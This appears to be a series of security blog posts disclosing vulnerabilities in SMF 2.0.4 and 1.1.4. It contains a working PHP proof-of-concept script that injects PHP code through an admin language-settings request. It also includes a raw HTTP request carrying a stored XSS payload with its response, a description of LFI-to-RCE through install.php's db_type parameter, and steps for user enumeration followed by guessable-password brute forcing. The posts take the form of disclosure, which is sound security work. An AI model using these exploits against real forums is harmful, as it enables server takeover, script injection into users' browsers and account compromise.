[EN] p0c php injection in SMF 2.0.4

Thanks for all mails about 'how to inject php code in latest smf'! I'm glad that you're reading my blog. ;)

Below is simple proof-of-concept code. Remember to replace 2 values: cookie, and path to your SMF installation. In other way, code will not work. ;)

PoC in PHP:

---8<---
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>


--->8---


And pastebin version :)

Remember to test only your SMF! ;)

o/

[EN] SMF 2.0.4 - PHP Injection

I found a great possibility to exploit latest SMF.

There is a PHP Injection vulnerability. This could be exploited by CSRF attack.

If you need details, feel free to send me an email because for now p0c won't be public. ;)

[EN] SMF 2.0.4 - full disclosure

Hi,

as I said few days ago, I found few vulnerabilities in latest SMF.


First of all, let's check a local file include vulnerability.
If admin will not delete the install.php file after installation, attacker is able to run command and compromise
the server. Idea is simple. User who is able to put php-file (with webshell) at SMF-installed-server,
can exploit a require_once() function to get a shell at remote host.

In install.php file you have a not filtered POST parameter, db_type. If you will set value of this parameter to
your 'evilshell', then you can run commands. Check it out:

LFI to RCE in install.php

That's right. Vulnerable line in install.php is 357:
(...)
 require_once($sourcedir . '/Subs-Db-'. $db_type . '.php');
(...)

Another nice idea is to put persistent XSS code in SMF.
Here I will present only persistent XSS for admin user.  (Maybe in the future, I will add here stored XSS code for normal user too, because I found that too.) If admin is logged in, he can create a new board.

'board_name' is vulnerable because we can put here unfiltered  code to exploit XSS vulnerability.
Code will be added permanently. Look at this:

Vulnerable board_name

and successfully added code below:

Stored XSS

* Update 15.04.2013 *
Another XSS for normal (registered) user is described below.

First you will see request for SMF, and second is response (part of it):
1. xss:
request:

POST /kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings;save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings
Cookie: SMFCookie956=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%2266a7209472fa1c52741c57363dfb6acab71256c4%22%3Bi%3A2%3Bi%3A1555224490%3Bi%3A3%3Bi%3A3%3B%7D; PHPSESSID=hnfbpm852gmk94s53u5tt7jr23

Content-Type: multipart/form-data; boundary=---------------------------96503762710472713441302808443
Connection: close
Content-Length: 1373

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_prefs"
0

-----------------------------96503762710472713441302808443

Content-Disposition: form-data; name="default_options[view_newest_pm_first]"
0

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_receive_from"
1

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_email_notify"
1

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[popup_messages]"
0

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[copy_to_outbox]"
0

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[pm_remove_inbox_label]"
0

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="dc64ddea87"
a6e91d0ace8c74a87548a48274ac142a

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="u"
2

-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="sa"
"><img/src="x"/onerror="alert(123)"><

-----------------------------96503762710472713441302808443--

Response for that, should be similar to this one:
(...)
        </ul>
    </div>
    <a href="http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa="><img/src="x"/onerror="alert(123)"><;f=inbox;l=-1;togglebar"><img id="menu_toggle" src="http://localhost/kuba/14.04/smf_2.0.4/Themes/default/images/admin/change_menu.png" alt="*" /></a>
<div id="admin_menu">
    <ul class="dropmenu" id="dropdown_menu_1">
(...)

And view from Burp:

SMF 2.0.4 XSSed again

This post will be updated as soon as I will finish tests for admin user too because I think there is a nice add-shell-via-csrf vulnerability. But I must retest it to be 100% sure. :)

Enjoy o/

[EN] Quick news

Hi,

today only one "quick news" ;)

Those information will be here as soon as possible, but for "Your information"
(and for "maybe this version is 'version of Your CMS' and You need quick-patch";))
here are listed few vulnerabilities I found this month.
If You need it fast- let me know, as always, via e-mail;)

So:
For (now ;)) 04.2012:
01.04 -Joomla 2.5.3 Information disclosure
04.04 -JooDatabase SQL Injection
06.04 -VirtueMart 2.0.2 Information disclosure
07.04 -jNews - Information disclosure
07.04 -Joomla 2.5.4 - Multiple...
07.04 -nBill Lite - HTML Injection / XSS
07.04 -VirtueMart 2.0.2 Information disclosure
11.04 -eFront CMS 3.6.10 Information disclosure
11.04 - eFront CMS 4.6.10 - User enumeration
14.04 -ATutor 2.0.4 XSS
15.04 -Docebo LMS 3605 - HTML Injection
15.04 - Docebo LMS 3605 - SQL Injection 
16.04 -e107 - reflected XSS
18.04 - HikaShop - Information disclosure


...to be continued... ;)


For 03.2012:
29.03 - gpEasy 2.3.3 XSS
27.03 - eXtreme-fusion 4.5 XSS
26.03 - Joomla 2.5.3 few XSS
25.03 - Quick Cart 5.0 Information disclosure

25.04 - Quick Cart 5.0 CMS XSS

25.04 - Yaqas CMS (Alpha1) - multiple...

18.03 - Quick Cart 5.0 Information disclosure

18.03 - Quick CMS 4.0 XSS


So if You will find here any CMS that You are using right now - let me know
if You want test/patch it.

[EN] SMF CMS 1.1.4 - User enumeration

... or 'user-grabber'.

'How to' do it it's not a secret because SMF provides possibility
of checking what are names of users 'registered'.

Anyway, if You are testing for example passwords in SMF installation,
You can do this steps for Your users (I mean: You are an admin of SMF You're checking...;))

(Example presented here actually won't give You "usernames",
You will get only 'ID's of registered (available) users. I thought givint tool to
'remote get all users' won't be a good idea ;))

a) code presented below should helps You how to automate 'user grabbing':

http://pastebin.com/VDfVg2hc

 b) output:

 

SMF 1.1.4 CMS - user grabber 

Now. For what it can be used.

If You're checking 'possible' (weak) passwords for 'all enumerated users'

You can try a little brute force for passwords (based on usernames) like this:

if user (name) grabbed  in scan then try to log in as him with password like user1, user123, 

resu, password... and all 'guessable' passwords.

If You're doing some pentest with 'password checking' scenarios, maybe this

should helps You a little (in automate some work) ;)

Let me know if You need help with implementing this for 2.0.2 in comments or mail.

More information about other 'enumeration-bugs' from March/April
You can find also here.

Enjoy!

o/

[EN] SMF 2.0.2 Information Disclosure Bug - UPDATED 16.04

In a free time... ;)

If You want some tools or test of Your webapps, let me know here;)

** UP UP ;)

Hello,

as I saw this bug in 2.0.2 I though maybe in 1.1.4 there is similar 'functionality' ;}

And... there is :) So:

today here will be smf-brute-forcer.php :*

** UP UP  * 22:12 * 16.04.2012 **;)

Some screens:

a) screen from 'hard coded' tool for getting 'path' from information disclosure bug: 

 

b) questions please at mail:

Cheers! o/